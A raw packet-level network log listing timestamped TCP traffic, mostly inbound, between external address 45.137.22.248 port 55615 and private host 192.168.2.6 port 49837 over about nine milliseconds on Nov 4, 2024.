Nov 4, 2024 04:32:25.697457075 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697464943 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697469950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697484970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697494030 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697503090 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697511911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697513103 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697530985 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697555065 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697556973 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697582960 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697593927 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697619915 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697640896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697649956 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697659969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697709084 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697709084 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697720051 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697725058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697741032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697757006 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697767973 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697783947 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697802067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697802067 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697812080 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697822094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697832108 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697855949 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697918892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697928905 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697968006 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698013067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698029041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698033094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698035955 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698072910 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698081970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698091030 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698091984 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698115110 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698127031 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698132992 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698137045 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698144913 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698168993 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698169947 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698179007 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698182106 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698195934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698204994 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698206902 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698232889 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698240042 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698245049 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.698250055 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698287010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698296070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698331118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698340893 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698379993 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698390007 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698411942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698421001 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698462963 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698472023 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698508978 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698518038 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698553085 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698561907 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698589087 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698599100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698642969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698652029 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698668003 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698677063 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698743105 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698751926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698764086 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698769093 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698904037 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698913097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698916912 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698920965 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698924065 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698930025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698932886 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698935986 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698959112 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.698967934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699018002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699028015 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699043036 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699052095 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699100971 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699110985 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699126005 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699134111 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699182987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699192047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699207067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699215889 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699260950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699269056 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699275017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699284077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699342966 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699352026 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699361086 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699369907 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699402094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699410915 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699449062 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699459076 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699501991 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699511051 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699526072 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699536085 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699592113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699600935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699618101 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699626923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699839115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699847937 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699856043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699865103 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699873924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699882984 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699892044 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699902058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.699911118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.700651884 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.700660944 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701148987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701200962 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701210022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701220036 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701256037 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701265097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701275110 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701289892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701349020 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701360941 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701369047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701378107 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701507092 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701517105 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701524973 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701533079 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701541901 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701558113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701566935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701575041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701584101 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701594114 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701611042 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701620102 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701656103 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701664925 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701730967 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701739073 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701771021 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701781034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701791048 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701858044 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701867104 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701874971 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701890945 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701900959 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701956034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.701963902 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702014923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702024937 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702040911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702049971 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702145100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702153921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702167988 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702177048 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702186108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702229023 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702238083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702245951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702363014 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702372074 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702379942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702389002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702397108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702408075 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702425003 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702434063 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702450037 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702459097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702512980 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702522039 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702537060 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702547073 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702624083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702632904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702641010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702651024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702667952 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702677965 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702694893 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702703953 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702713013 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702750921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702822924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702831984 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702872992 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702882051 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702923059 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702959061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702969074 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.702975988 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703027964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703037024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703071117 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703080893 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703191042 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703200102 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703208923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703217030 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703233957 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703243017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703257084 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703265905 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703282118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703290939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703299999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703334093 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703382015 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703392982 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703408957 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703418970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703428030 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703526020 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703536034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703543901 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703552961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703562021 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703578949 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703649998 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703659058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703716040 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703735113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703810930 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703819990 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703860998 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.703885078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704113007 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704123020 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704129934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704140902 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704149961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704159021 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704169035 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704185963 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704194069 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704252005 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704261065 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704303026 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704366922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704413891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704422951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704477072 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704484940 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704521894 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704530954 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704581022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704597950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704648972 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704672098 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704751968 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704813957 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704823017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704830885 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704876900 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.704885960 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705039978 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705049038 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705056906 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705065966 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705074072 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705084085 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705100060 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705110073 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705127001 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705136061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705151081 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705159903 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705187082 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705250025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705260038 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705269098 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705284119 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705316067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705377102 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705387115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705424070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705432892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705503941 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705513000 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705540895 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705549955 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705565929 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705575943 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705625057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705636024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705651999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705661058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705704927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705713987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705797911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705807924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705816031 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705825090 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705836058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705845118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705852985 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705861092 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705869913 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705916882 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705925941 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705934048 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.705944061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706047058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706056118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706063986 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706073999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706082106 CET	55615	49837	45.137.22.248	192.168.2.6
